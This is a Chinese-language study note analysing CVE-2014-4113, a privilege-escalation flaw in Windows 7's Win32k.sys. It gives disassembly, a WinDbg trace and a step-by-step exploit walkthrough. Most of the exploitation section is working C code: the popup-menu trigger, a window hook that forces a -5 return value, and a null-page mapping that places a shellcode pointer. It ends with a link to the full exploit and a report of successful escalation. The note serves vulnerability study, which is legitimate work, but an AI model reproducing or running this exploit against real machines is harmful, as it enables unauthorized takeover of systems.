CVE-2014-4113提权漏洞学习笔记
一、前言
1.漏洞描述
该漏洞发生的位置是在驱动文件Win32k.sys中的xxxHandleMenuMessage函数，产生的原因是没有对该函数中调用的xxxMNFindWindowFromPoint函数的返回值进行合法性验证，直接将其作为参数传递给后面的xxxSendMessage函数调用，从而造成了提权漏洞。
2.实验环境
- 操作系统：Win7 x86 sp1 专业版
- 编译器：Visual Studio 2017
- 调试器：IDA Pro，WinDbg
二、漏洞分析
1.静态分析
通过IDA直接查看xxxHandleMenuMessage函数，可以在其中看到，在该函数中，会首先调用xxxMNFindWindowFromPoint函数，然后将该函数的返回值作为第一个参数被下面的xxxSendMessage函数调用。
xxxSendMessage函数是通过调用xxxSendMessageTimeout函数来实现的，而在xxxSendMessageTimeout中会有如下的代码：
.text:BF8B94E8 push [ebp+Src].text:BF8B94EB push dword ptr [ebp+UnicodeString].text:BF8B94EE push ebx.text:BF8B94EF push esi.text:BF8B94F0 call dword ptr [esi+60h].text:BF8B94F3 mov ecx, [ebp+arg_18].text:BF8B94F6 test ecx, ecx.text:BF8B94F8 jz loc_BF8B9591
此时esi保存的就是xxxSendMessage第一个参数的值，也就是说此时esi=iRet。因此，如果xxxMNFindWindowFromPoint函数的返回值为-5的话，那么，此时call dword ptr [esi + 0x60]就会是call dword ptr [-5 + 0x60]，就等于call dword ptr [0x5B]。此时，可以通过在0x5B处保存要执行的ShellCode的地址，那么此处的call dword ptr [esi+0x60]就会执行指定的ShellCode。
而在xxxMNFindWindowFromPoint函数中，会调用xxxSendMessage来发送一个0x1EB的消息。如果xxxSendMessage函数的返回值非0的话(比如-5)，那么该返回值就会作为xxxMNFindWindowFromPoint函数的返回值返回回去。
这里IDA反编译的结果出了问题，在反汇编的代码中是可以看到，此处的xxxSendMessage函数发送的消息是0x1EB的消息：
.text:BF9395E4 push eax ; Src.text:BF9395E5 lea eax, [ebp+UnicodeString].text:BF9395E8 push eax ; UnicodeString.text:BF9395E9 push 1EBh ; MbString.text:BF9395EE push dword ptr [edi+0Ch] ; P.text:BF9395F1 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x).text:BF9395F6 mov esi, eax
2.动态分析
运行exp，在xxxMNFindWindowFromPoint函数发送消息的地址下断点。
中断以后，调用函数发送消息，然后查看返回值可以看到此时的返回值就是-5。
kd> gBreakpoint 0 hitwin32k!xxxMNFindWindowFromPoint+0x53:838995f1 e8a7fff7ff call win32k!xxxSendMessage (8381959d)kd> pwin32k!xxxMNFindWindowFromPoint+0x58:838995f6 8bf0 mov esi,eaxkd> r eaxeax=fffffffb
继续运行到xxxMNFindWindowFromPoint函数返回前，可以看到此时的返回值为-5。
继续向下运行到xxxSendMessageTimeout调用函数处的call dword ptr [esi + 60h]，可以看到此时的esi等于-5，而0x5B保存了要执行的ShellCode的地址。
继续运行，就会运行ShellCode的代码完成提权。
三、漏洞利用
想要成功触发该漏洞，需要使用TrackPopupMenu函数，该函数定义如下：
BOOL TrackPopupMenu(HMENU hMenu, UINT uFlags, int x, int y, int nReserved, HWND hWnd, const RECT* prcRect);
其中第一个参数hMenu是一个pop-up菜单，第六个参数hWnd则是拥有该菜单的窗口句柄，因此在exp中要创建好这些窗口，然后调用函数触发漏洞：
HWND hWnd = NULL; WNDCLASS wc = { 0 }; HMENU hMenu1 = NULL, hMenu2 = NULL; MENUITEMINFO Item1 = { 0 }, Item2 = { 0 }; memset(&wc, 0, sizeof(wc)); wc.hInstance = GetModuleHandle(NULL); wc.lpfnWndProc = WndProc; wc.lpszClassName = "1900"; if (!RegisterClassA(&wc)) { ShowError("RegisterClassA", GetLastError()); bRet = FALSE; goto exit; } hWnd = CreateWindowA(wc.lpszClassName, "", WS_OVERLAPPEDWINDOW | WS_VISIBLE, 0, 0, 640, 480, NULL, NULL, wc.hInstance, NULL); if (!hWnd) { ShowError("CreateWindowEx", GetLastError()); bRet = FALSE; goto exit; } hMenu1 = CreatePopupMenu(); if (!hMenu1) { ShowError("CreatePopupMenu", GetLastError()); bRet = FALSE; goto exit; } memset(&Item1, 0, sizeof(Item1)); memset(&Item2, 0, sizeof(Item2)); Item1.cbSize = sizeof(Item1); Item1.fMask = MIIM_STRING; if (!InsertMenuItemA(hMenu1, 0, TRUE, &Item1)) { ShowError("InsertMenuItemA 1", GetLastError()); bRet = FALSE; goto exit; } hMenu2 = CreatePopupMenu(); if (!hMenu2) { ShowError("CreatePopupMenu 2", GetLastError()); bRet = FALSE; goto exit; } Item2.fMask = MIIM_STRING | MIIM_SUBMENU; Item2.dwTypeData = ""; Item2.cch = 1; Item2.hSubMenu = hMenu1; Item2.cbSize = sizeof(Item2); if (!InsertMenuItemA(hMenu2, 0, TRUE, &Item2)) { ShowError("InsertMenuItemA 2", GetLastError()); bRet = FALSE; goto exit; } // 触发漏洞 if (!TrackPopupMenu(hMenu2, 0, 0, 0, 0, hWnd, NULL)) { ShowError("TrackPopupMenu", GetLastError()); bRet = FALSE; goto exit; }
同时，在主窗口的处理函数中，也需要进行判断。如果窗口处于空闲状态，需要通过PostMessage函数来模拟鼠标和键盘的操作，这样才能成功发送0x1EB的消息来达到漏洞点：
LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam){ // 如果窗口处于空间状态 if (uMsg == WM_ENTERIDLE) { PostMessageA(hWnd, WM_KEYDOWN, VK_DOWN, 0); PostMessageA(hWnd, WM_KEYDOWN, VK_RIGHT, 0); PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0); } return DefWindowProcA(hWnd, uMsg, wParam, lParam);}
为了让xxxSendMessage函数返回-5触发漏洞，还需要通过SetWindowHook来加入钩子函数。
HHOOK winHook = SetWindowsHookExA(WH_CALLWNDPROC, WndProcHook, NULL, GetCurrentThreadId());if (winHook == NULL){ ShowError("SetWindowsHookExA", GetLastError()); bRet = FALSE; goto exit;}
在钩子函数中，拦截0x1EB的消息，通过SetWindowLongA函数来修改菜单窗口的属性。这里的第二个参数传入的是GWL_WNDPROC，意味着修改的是窗口的处理函数。
LRESULT CALLBACK WndProcHook(int nCode, WPARAM wParam, LPARAM lParam){ CWPSTRUCT *pWndProcArgs = (CWPSTRUCT *)lParam; if (pWndProcArgs->message == 0x1EB) { if (UnhookWindowsHook(WH_CALLWNDPROC, WndProcHook)) { lpPrevWndFunc = (WNDPROC)SetWindowLongA(pWndProcArgs->hwnd, GWL_WNDPROC, (LONG)MenuWndProc); if (lpPrevWndFunc == 0) { ShowError("SetWindowLongA", GetLastError()); } } } return CallNextHookEx(NULL, nCode, wParam, lParam);}
在窗口处理函数中，如果接收的消息是0x1EB的消息，则调用EndMenu函数销毁窗口且返回-5来触发漏洞。
LRESULT CALLBACK MenuWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam){ if (uMsg == 0x1EB) { EndMenu(); return -5; } return CallWindowProcA(lpPrevWndFunc, hWnd, uMsg, wParam, lParam);}
最后，由于在xxxSendMessageTimeout中还有如下的验证：
此时的p就是传递的-5，所以在0地址申请内存成功以后，除了将0x5B地址的内容修改为ShellCode的地址外，还需要将0x3和0x11处的数据修改为如下数据：
BOOL Init(){ BOOL bRet = TRUE; // 在0地址申请内存成功 if (AllocateZeroMemory()) { *(DWORD*)(0x3) = GetPtiCurrent(); *(BYTE*)(0x11) = (BYTE)4; *(DWORD*)(0x5B) = (DWORD)ShellCode; } else bRet = FALSE; return bRet;} DWORD GetPtiCurrent(){ __asm { mov eax, fs:[0x18] mov eax, [eax + 0x40] }}
四、运行结果
完整代码的链接为：https://github.com/LegendSaber/exp/blob/master/exp/CVE-2014-4113.cpp
最后在系统上运行结果如下，可以看到提权成功。
